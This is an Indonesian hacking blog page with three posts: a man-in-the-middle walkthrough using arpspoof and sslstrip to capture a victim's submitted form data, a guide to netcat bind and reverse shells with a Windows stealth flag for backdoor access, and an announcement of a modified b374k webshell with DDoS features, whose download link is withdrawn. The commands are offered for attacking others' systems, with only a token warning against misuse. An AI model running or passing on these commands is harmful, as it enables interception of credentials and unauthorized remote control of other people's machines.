MITM Attack with SSLstrip

okeh... pada bahasan kali ini, saya ingin sharing ilmu yang barusaja saya dapat dari iniet dan kakak kelas, saya akan membahas mengenai MITM Attack dengan sslstrip.

apakah itu MITM? merupakan serangan (Man In The Middle) Attack dimana sang attacker menangkap paket yang keluar antara korban dan host yang dituju. si attacker bebas untuk meneruskan, mengubah, dan menstop paket tersebut.

nggak usah banyak cekcok, sebenarnya ini sangat mirip dengan cain abel, namun lebih profesional. okelah kita ambil persiapannya

- Backtrack Linux

setelah semuanya siap, kita perlu melakukan arpspoofing agar paket paker yang dikeluarkan oleh korban, melalui komputer kita.

arpspoof -i <interface> -t <korban> <gateway>

dan skenarionya :
- ip korban 192.168.111.135
- ip gateway 192.168.111.1

arpspoof -i wlan0 -t 192.168.111.135 192.168.111.1

kemudian jalankan sslstrip

python sslstrip.py -a -w hasil.txt

nah... tinggal kita tungguin hasilnya di file hasil.txt. semua informasi mengenai data yang dikirim baik post maupun get semua ditampilkan.

yup... jangan disalah gunakan yah... semoga bermanfaaat.

Read More

Remote Shell with NetCat

dalam melakukan proses previlege escalation, kita tidak bisa melakukan eksekusi langsung untuk melihat file /etc/passwd dan /etc/shadow atau mengeksekusi sebuah eksploit melewati sebuah webshell (shell yang dibuat dengan pemrograman web). maka dari itu, kita perlu mengupload sebuah shell backdoor agar mendapatkan shell secara interaktif.

tool yang sering digunakan untuk melakukan remote shell antara lain ssh(linux) atau telnet(windows) atau sebuah tool dari pihak ke tiga yaitu netcat (windows & linux). untuk windows, anda dapat mendapatkannya di sini, untuk linux biasanya telah terinstall waktu menginstall OS linux.

sebenarnya netcat memiliki banyak fungsi lain sehingga disebut swiss army knife karena kegunaanya. netcat dapat menjadi server maupun client (tapi netcat tidak peduli pada server maupun client) dapat melakukan bind mauupun reverse connection.

okelah... begini caranya melakukan bind connection

client	server linux	server windows
nc <ip server> <port>	nc -l -v -p <port> -e /bin/sh	nc -l -v -p <port> -d -e cmd.exe

dan untuk melakukan reverse connection

client	server linux	server windows
nc -l -v -p <port>	nc <ip client> <port> -e /bin/bash	nc <ip client> <port> -d -e cmd.exe

keterangan :

• -d : stealth mode. khusus windows
• -l : listen mode
• -p : specify port untuk inbound connection
• -v atau -vv : verbose (opsional)
• -e : buka aplikasi setelah terkoneksi

pada awalnya saya juga bingung, bagaimana cara membedakan netcat sebagai server karena netcat tidak perduli dengan fungsi server atau client. namun saya telah menemukannya, anda harus memasukkan parameter -e agar kelanjutan setelah terkoneksi adalah membuka file tersebut sebagai shell (cmd atau sh)

karena banyak yang bertanya, akhirnya saya menjawab pertanyaan apa sih bedanya bind connection dengan reverse connection?. inilah bedanya :

bind :
merupakan metode koneksi dimana kita membuat koneksi ke komputer target melalui port yang telah dibuka oleh netcat. kelemahannya adalah masalah proteksi firewall yang mempunyai kebiasaan menutup port yang tertutup

reverse :
metode dimana kita berada pada posisi listening koneksi yang masuk, yang dibuat oleh target. kelebihannya adalahn rata-rata keberhasilan yang cukup tinggi karena tidak mendapat masalah firewall, namun kekurangannya, kita harus mendapatkan IP yang dapat diakses oleh publik agar netcat mengenali IP kita. namun lagi (:ngakak kebanyakan namun nih), fitur netcat terbaru yaitu gateway hopping dengan parameter "-g" dimana kita bisa mendapatkan gateway yang kita lalui dengan perintah "tracert <target>"". saya tidak yakin karena belum pernah mencoba cara ini :cendol

hehe... maaf nih kalo njelimet... kalau ada pertanyaan, silahkan tanyakan saja :jabat . semoga bermanfaat.

Read More

b374k + DDoS + encoder mod by alkaaf

Nah,,, ketertarikan saya pada ani-shell yang punya fitur DDoS, saya berniat untuk mengedit webshell favorit saya (b374k buatan indonesia) untuk memiliki fitur ddos, (encoder juga saya tambahin :cendol ).

langsung ajah bagi yang suka menggerogoti server orang. hehe

some screenshot



DDOS:


coder:


and logout :D



and the code :

here...

maaf nih... berhubung hosting menghilang.... sementara link download saya tutup dulu. sekaligus karena file satu satunya ada di hosting tersebut. jadi saya tidak mempunyai backupan file tersebut :duka

Read More